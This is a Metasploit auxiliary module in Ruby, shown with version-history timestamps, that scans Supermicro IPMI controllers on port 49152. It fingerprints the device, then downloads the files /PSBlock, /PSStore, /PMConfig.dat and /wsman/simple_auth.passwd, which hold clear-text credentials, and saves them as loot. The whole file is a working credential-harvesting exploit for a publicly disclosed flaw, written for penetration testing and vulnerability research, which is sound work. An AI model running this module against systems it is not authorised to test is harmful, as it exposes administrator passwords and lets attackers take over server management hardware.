metasploit-framework/modules/auxiliary/scanner/http/smt_ipmi_49152_exposure.rb

103 lines
2.9 KiB
Ruby
Raw Normal View History

2014-06-11 20:03:54 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2014-06-11 20:03:54 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2014-06-11 20:03:54 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
2014-06-11 20:03:54 +00:00
include Msf::Auxiliary::Report
2014-06-20 22:21:10 +00:00
2014-06-11 20:03:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure',
'Description' => %q{
2014-06-20 22:21:10 +00:00
This module abuses a file exposure vulnerability accessible through the web interface
2014-06-11 20:03:54 +00:00
on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker
to obtain detailed device information and download data files containing the clear-text
2014-06-20 22:21:10 +00:00
usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs
2014-06-11 20:03:54 +00:00
were exposed to the internet with this vulnerability.
},
'Author' =>
[
'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis
'John Matherly <jmath[at]shodan.io>', # Internet-wide scan
'Dan Farmer <zen[at]fish2.com>', # Additional investigation
'hdm' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
2014-06-19 20:33:06 +00:00
[ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'],
2014-06-11 20:03:54 +00:00
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
],
2014-06-19 20:36:17 +00:00
'DisclosureDate' => 'Jun 19 2014'))
2014-06-11 20:03:54 +00:00
register_options(
[
Opt::RPORT(49152)
])
2014-06-11 20:03:54 +00:00
end
def is_supermicro?
res = send_request_cgi(
{
"uri" => "/IPMIdevicedesc.xml",
"method" => "GET"
})
2014-06-20 22:21:10 +00:00
if res && res.code == 200 && res.body.to_s =~ /supermicro/i
2014-06-11 20:03:54 +00:00
path = store_loot(
'supermicro.ipmi.devicexml',
'text/xml',
rhost,
res.body.to_s,
'IPMIdevicedesc.xml'
)
2016-02-01 22:06:34 +00:00
print_good("Stored the device description XML in #{path}")
2014-06-11 20:03:54 +00:00
return true
else
return false
end
end
def run_host(ip)
2014-06-11 20:03:54 +00:00
unless is_supermicro?
2016-02-01 22:06:34 +00:00
vprint_error("This does not appear to be a Supermicro IPMI controller")
2014-06-11 20:03:54 +00:00
return
end
candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd }
candidates.each do |uri|
res = send_request_cgi(
{
"uri" => uri,
"method" => "GET"
})
next unless res
2014-06-20 22:21:10 +00:00
unless res.code == 200 && res.body.length > 0
2016-02-01 22:06:34 +00:00
vprint_status("Request for #{uri} resulted in #{res.code}")
next
2014-06-11 20:03:54 +00:00
end
path = store_loot(
'supermicro.ipmi.passwords',
'application/octet-stream',
rhost,
res.body.to_s,
uri.split('/').last
2014-06-11 20:03:54 +00:00
)
2016-02-01 22:06:34 +00:00
print_good("Password data from #{uri} stored to #{path}")
2014-06-11 20:03:54 +00:00
end
end
end